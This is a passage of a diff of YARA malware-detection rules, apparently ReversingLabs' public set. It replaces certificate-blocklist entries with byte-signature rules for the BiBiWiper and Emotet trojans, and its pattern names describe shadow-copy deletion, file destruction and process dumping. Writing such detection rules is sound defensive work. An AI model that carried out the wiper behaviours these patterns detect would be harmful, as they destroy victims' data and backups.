?? ?? ?? ?? 5? FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 + 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF + 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 + } + $dumping_functionP = { + 50 57 56 FF 15 ?? ?? ?? ?? 8B F8 57 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 56 + 89 45 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF + ?? ?? ?? ?? 57 56 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A + ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8B D8 8D 45 ?? 50 FF 75 ?? 89 75 ?? + FF 75 ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 + } + $dumping_functionB = { + 52 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? + ?? ?? ?? F3 A5 A4 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 A4 + 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 + ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 51 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? E8 + } + $dumping_function111 = { + 68 ?? ?? ?? ?? 8D 55 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 39 58 ?? 72 ?? 8B 40 ?? EB + ?? 83 C0 ?? 50 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 5D ?? 72 ?? 8B 55 ?? 52 E8 ?? ?? ?? + ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 E8 + } + $dumping_function2 = { + 55 8B EC 51 53 8B 5D ?? 56 68 ?? ?? ?? ?? 8D 45 ?? 53 50 33 F6 E8 ?? ?? ?? ?? 8B 4D + ?? 68 ?? ?? ?? ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 83 F8 ?? 74 ?? 57 8B 7D ?? 0F BE 14 3E 8B 4D ?? 51 33 D0 52 E8 ?? ?? ?? ?? 8B C7 83 + C4 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 8D 4E ?? 8B D1 2B D0 + 8B 45 ?? F7 DA 1B D2 23 D1 50 8B F2 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 5F 8B 4D + ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B 8B + E5 5D C2 + } + $lib_loader = { + 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? + ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 + } + $exception1 = { + B8 ?? ?? ?? ?? 50 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 33 C0 89 08 + } + $exception2 = { + 55 53 51 57 56 52 8D 98 ?? ?? ?? ?? 8B 53 ?? 52 8B E8 6A ?? 68 ?? ?? ?? ?? FF 73 ?? + 6A ?? 8B 4B ?? 03 CA 8B 01 FF D0 + } + $exceptionallock = { + B8 ?? ?? ?? ?? 8D 88 ?? ?? ?? ?? 89 41 ?? 8B 54 24 ?? 8B 52 ?? C6 02 ?? 83 C2 ?? + 2B CA 89 4A ?? 33 C0 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WORK PLACEMENTS INTERNATIONAL LIMITED" and ( pe.signatures [ i ] . serial == "00:8e:3d:89:c6:82:f7:c0:da:d7:01:10:cb:7b:7c:82:63" or pe.signatures [ i ] . serial == "8e:3d:89:c6:82:f7:c0:da:d7:01:10:cb:7b:7c:82:63" ) and 1570626662 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $payload and ( $NSIS_CheckIntegrity or ( $UPX_Decompression and $UPX_Encrypting ) or $NSIS_ErrorPart or $dumping_functionv2014 or $dumping_functionMidVersion or ( $exception1 and $exception2 and $exceptionallock ) or $dumping_functionP or $dumping_functionE or $dumping_functionB or $dumping_function111 or $dumping_function2 or $lib_loader ) } - -rule REVERSINGLABS_Cert_Blocklist_Ef2D35F2Ae82A767A16Be582Ab0D1Ba0 : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BiBiWiper trojan." author = "ReversingLabs" - id = "dc8f49b8-fda2-510c-8374-3261e75d11a9" - date = "2020-08-05" - modified = "2023-11-08" + id = "8462ceb8-ec54-5f92-a3e7-c96e52647ca7" + date = "2023-11-28" + modified = "2023-11-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5732-L5750" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.BiBiWiper.yara#L1-L102" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0709290aeb18bcb855518e150c2768c24ab311f5c727cdc4c40145b879ff88b6" + logic_hash = "d75954c05a8f82ad90a4adf6a2a3748928488ddebe40d8f8a790bfcde0b02a11" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "BiBiWiper" + tc_detection_factor = 5 importance = 25 + strings: + $delete_shadow_copies_p1 = { + 48 89 5C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 + 48 89 45 ?? 33 DB 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 + 8D 4C 24 ?? 48 89 5C 24 ?? 44 8D 43 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 + ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F + 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C + 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? + ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 + 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? + FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 + 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? + 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? + ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C + 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 + 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 + 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 + C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 + 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 + 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F + } + $delete_shadow_copies_p2 = { + 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 + ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 + 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 + ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 + D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? + ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 0F B6 01 88 04 0A 48 8D + 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 + ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C + 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F + 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 + FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? + 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 + ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 + 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? + 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? + ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 + 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 + ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 + 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 + } + $destroy_files_p1 = { + 48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 + 33 C4 48 89 44 24 ?? 4D 8B E9 4D 8B E0 4C 8B F9 48 63 BC 24 ?? ?? ?? ?? 33 F6 89 74 + 24 ?? 48 8B 05 ?? ?? ?? ?? 48 FF C0 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 B8 + ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 C1 FA ?? 48 8B C2 48 C1 E8 ?? 48 03 D0 48 69 C2 + ?? ?? ?? ?? 48 3B C8 75 ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8D 0D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 C1 E3 ?? 33 D2 49 8B C4 49 F7 F5 48 + 8B E8 48 2B EB 83 FF ?? 7E ?? 48 8D 47 ?? 48 0F AF C3 33 D2 49 F7 F4 EB ?? 48 8B D6 + 45 33 C0 49 8B CF E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 63 C8 49 3B CC 0F 87 ?? + ?? ?? ?? 49 8B C4 48 2B C1 49 8B FC 48 2B F9 48 3B D8 48 0F 42 FB 48 8B CF E8 ?? ?? + ?? ?? 48 89 44 24 ?? 0F 57 C0 4C 63 F7 F3 0F 7F 44 24 ?? 48 89 74 24 ?? 85 FF 74 ?? + 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 4C 3B F0 0F 87 ?? ?? ?? ?? 49 81 FE ?? ?? ?? ?? 72 + } + $destroy_files_p2 = { + 49 8D 4E ?? 49 3B CE 0F 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? + ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 49 8B CE E8 ?? ?? ?? ?? 48 89 44 24 + ?? 4A 8D 1C 30 48 89 5C 24 ?? 4D 8B C6 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 89 5C 24 ?? + C7 44 24 ?? ?? ?? ?? ?? 85 FF 7E ?? 48 8B DE 44 8B F7 66 0F 1F 44 00 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 88 04 0B 48 8D 5B ?? 49 83 EE ?? 75 ?? 4D 85 ED 7E + ?? 4D 8B CF 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 49 8B CF E8 ?? + ?? ?? ?? 48 63 C8 48 8D 04 29 48 03 C7 49 3B C4 76 ?? 49 8B FC 48 2B F9 48 2B FD 48 + 85 FF 7E ?? 41 B8 ?? ?? ?? ?? 48 8B D5 49 8B CF E8 ?? ?? ?? ?? FF C6 48 63 C6 49 3B + C5 7C ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 + ?? 48 2B D1 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 + 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 + 8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Workstage Limited" and ( pe.signatures [ i ] . serial == "00:ef:2d:35:f2:ae:82:a7:67:a1:6b:e5:82:ab:0d:1b:a0" or pe.signatures [ i ] . serial == "ef:2d:35:f2:ae:82:a7:67:a1:6b:e5:82:ab:0d:1b:a0" ) and 1567123200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $delete_shadow_copies_p* ) ) and ( all of ( $destroy_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_039668034826Df47E6207Ec9Daed57C3 : INFO FILE +rule REVERSINGLABS_Linux_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BiBiWiper trojan." author = "ReversingLabs" - id = "c2a3477a-a4cf-586e-ba70-555cc577ab2c" - date = "2020-08-05" - modified = "2023-11-08" + id = "c370dde0-71ff-5832-b131-6d61beb02b9b" + date = "2023-11-28" + modified = "2023-11-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5752-L5768" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Linux.Trojan.BiBiWiper.yara#L1-L76" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "792860feec6e599ba22ae3869ef132cf5b7be2e0572e23503e293444fd7c382d" + logic_hash = "8f290141d5da660463dede6df571d774448e136e2993a0a4c706245464e1239e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "BiBiWiper" + tc_detection_factor = 5 importance = 25 + strings: + $destroy_files_p1 = { + 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89 + 95 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 44 89 8D ?? ?? ?? ?? 48 8B + 05 ?? ?? ?? ?? 48 83 C0 ?? 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 BA ?? ?? ?? + ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 89 D0 48 C1 F8 ?? 48 89 CA 48 C1 FA ?? 48 29 D0 + 48 69 D0 ?? ?? ?? ?? 48 89 C8 48 29 D0 48 85 C0 0F 94 C0 84 C0 74 ?? E8 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 + D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? + ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 CE 48 89 C7 + E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 + CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? + ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D + 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? + 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? + ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 + 89 C3 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? + ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 + } + $destroy_files_p2 = { + 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C1 E0 ?? 48 89 45 ?? 48 8B B5 ?? ?? ?? ?? 48 8B 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? 48 F7 F6 48 8B 55 ?? 48 29 D0 48 89 45 ?? 83 BD ?? ?? ?? ?? + ?? 7E ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 48 98 48 0F AF 45 ?? BA ?? ?? ?? ?? 48 F7 B5 ?? + ?? ?? ?? 48 89 D0 48 89 C1 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 + ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? + ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 39 + 85 ?? ?? ?? ?? 73 ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? + 48 29 D0 48 89 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89 + C7 E8 ?? ?? ?? ?? 48 8B 00 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 + ?? 48 8B 45 ?? 89 C2 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 5D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + } + $destroy_files_p3 = { + 89 C7 48 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 C2 48 + 8B 45 ?? 48 01 D0 48 39 85 ?? ?? ?? ?? 73 ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 29 + D0 48 8B 55 ?? 48 29 D0 48 89 45 ?? 48 83 7D ?? ?? 7E ?? 48 8B 4D ?? 48 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 48 98 48 + 39 85 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? EB ?? 90 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? 83 FB ?? E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 + C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 + 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? + 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? + ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 8B 5D ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CHOO FSP, LLC" and pe.signatures [ i ] . serial == "03:96:68:03:48:26:df:47:e6:20:7e:c9:da:ed:57:c3" and 1601424001 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $destroy_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_07Bb6A9D1C642C5973C16D5353B17Ca4 : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Emotet : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Emotet trojan." author = "ReversingLabs" - id = "094a02ee-394b-5989-9f73-6b942aca5500" - date = "2020-08-05" - modified = "2023-11-08" + id = "9742743d-753a-582b-9701-7278c8ed0e4e" + date = "2020-06-26" + modified = "2021-11-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5770-L5786" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.Emotet.yara#L1-L182" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b98dcd4f0ebe870a9dad55cac5b0db81be6062216337b75a74a0aff8436df57f" + logic_hash = "747d603c9849a66782c95050a4a634ffdb4ce2882adcfc5d63e1f1ea1651b25e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "Emotet" + tc_detection_factor = 5 importance = 25 + strings: + $decrypt_resource_v1 = { + 55 8B EC 83 EC ?? 53 8B D9 8B C2 56 57 89 45 ?? 8B 3B 33 F8 8B C7 89 7D ?? 83 E0 ?? + 75 ?? 